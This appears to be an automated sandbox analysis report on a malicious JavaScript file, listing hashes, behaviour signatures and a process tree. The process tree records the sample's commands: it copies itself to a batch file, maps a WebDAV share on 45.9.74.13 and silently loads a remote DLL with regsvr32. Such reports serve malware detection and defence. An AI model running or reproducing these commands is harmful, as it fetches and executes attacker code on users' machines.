Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-07-2024 01:11

General

  • Target

    8526141892769132019.js

  • Size

    5KB

  • MD5

    b6de0034f9a707285a4d20f1fc4d46bb

  • SHA1

    51e1425d0a4e6019c4a527d0c5064a20ce38d558

  • SHA256

    4928d97862f1c3f93b2c3d7384d05f83e9540304ed0806fff834e2338948b0d7

  • SHA512

    37e4cbe82a7ec45cfd63497ff7d8aa61f396bb664904385959c127acbbbc34443c8274621c9a25f51ca6f2bd068df3bc1e133fb900bfddb7f3e3ca05fc474cd2

  • SSDEEP

    96:uDSkF5QtdUYYythVdUYYnaE2lZ/BXUVrotFIgvYlMhl7e5+lMTl8wNhkDN8:uRHQttthVIr2f/BX4rgdEzhkx8

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\8526141892769132019.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4792
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\8526141892769132019.js" "C:\Users\Admin\\zwvypj.bat" && "C:\Users\Admin\\zwvypj.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2312
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:1924
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\281.dll
          3⤵
            PID:2304

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\zwvypj.bat

        Filesize

        5KB

        MD5

        b6de0034f9a707285a4d20f1fc4d46bb

        SHA1

        51e1425d0a4e6019c4a527d0c5064a20ce38d558

        SHA256

        4928d97862f1c3f93b2c3d7384d05f83e9540304ed0806fff834e2338948b0d7

        SHA512

        37e4cbe82a7ec45cfd63497ff7d8aa61f396bb664904385959c127acbbbc34443c8274621c9a25f51ca6f2bd068df3bc1e133fb900bfddb7f3e3ca05fc474cd2